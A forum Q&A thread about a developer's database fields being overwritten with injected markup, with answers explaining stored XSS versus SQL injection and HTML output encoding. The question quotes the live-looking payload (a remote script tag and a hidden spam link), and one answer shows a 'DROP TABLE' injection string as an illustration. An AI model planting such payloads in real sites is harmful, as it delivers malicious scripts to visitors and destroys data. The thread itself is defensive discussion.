Reputation: 199
I am finding my SQL Server database fields getting hacked as follows. Please note that Original Content
is existing value of the field and it gets changed to following.
Original Content</title><script src=http://dfrgcc.com/ur.php></script></title><a style=position:absolute;left:-9999px;top:-9999px; href=http://file-dl.com/show.php?id=6 >crack</a>
I assume it's a SQL injection attack. If not, please guide. I have ensured following, however the DB gets hacked every few days.
1) All my data access is in dataset files i.e. app_code\DataLayer.xsd
. I call my data methods as follows.
Dim memberDAL As new membersTableAdapter
Dim memberName As String = tbName.text
memberDAL.insertMember(memberName)
Does above code gets qualified as parametrized query. Is it safe data access as far as my problem is concerned. All data access is done in this manner. There are number of forms with lot of input fields, and the content DOES go in database. However what seems to be happening is not INSERT but a UPDATE. Even membership tables are being affected. e.g. in aspnet_users
table a username called 'admin' changes to following.
admin</title><script src=http://dfrgcc.com/ur.php></script></title><a style=position:absolute;left:-9999px;top:-9999px; href=http://file-dl.com/show.php?id=1 >crack</a></title><script src=http://dfrgcc.com/ur.php></script>
2)I have used CAPTCHA to exclude bots, but this did not help.
I am on shared host, as per server admin I need to sanitize my code. Please advise.
Upvotes: 4
Views: 1056
Reputation: 20387
If you're seeing arbitrary markup inserted into your data, it may be a SQL injection attack. It also may be that the data has just been appended to form input and hasn't actually exercised any SQLi techniques - you just haven't white-listed allowable values.
As a result of this data, you now have a persistent XSS risk but the data almost certainly didn't get there as a result of XSS.
Try taking a look at OWASP Top 10 for .NET developers part 1: Injection then OWASP Top 10 for .NET developers part 2: Cross-Site Scripting (XSS). This should cover you need from protecting against SQLi to then ensuring XSS can't be exploited.
Upvotes: 3
Reputation: 6941
It's not an SQL Injection, this is cross site scripting.
On an SQL Injection the attacker would try to inject SQL code into your query. For example if you have a query to retrieve - let's say - a student record:
SELECT * FROM students WHERE name = '$name' LIMIT 0,1
If I pass in the following as name
and the developer hasn't done a good job sanitizing their input, something bad would happen: $name = "Robert'; DROP TABLE students; --"
(See http://xkcd.com/327/) the resulting query would be
SELECT * FROM students WHERE name='Robert'; DROP TABLE students; --' LIMIT 0,1
I think I don't need to explain what this does :)
This XSS attack tries to inject HTML code (or in this case javascript code) into your page. If you don't filter out HTML tags or change the special characters to HTML entities (> to >) this code would be executed in the users browser.
Upvotes: 3
Reputation: 22016
Short answer is yes this is very likely to be an SQL Injection attack.
You will need to use a tool like Scawlr to find the actual attack vector:
https://h30406.www3.hp.com/campaigns/2008/wwcampaign/1-57C4K/index.php
Upvotes: -2
Reputation: 17771
This is an XSS attack. Your database has not been compromised, but it now contains links to externally hosted Javascript that is executed in the context of your domain. This means that they may be able to hijack users' sessions, or make requests on behalf of the user.
You should HTML encode the data that you output to the page - replacing the <
with <
(and the rest) will "contextually encode" the data, ensuring that what is supposed to be plain text (the "injected" HTML above) is output as text, and not interpreted by the browser as HTML (and Javascript).
To understand more, check the OWASP article.
Upvotes: 16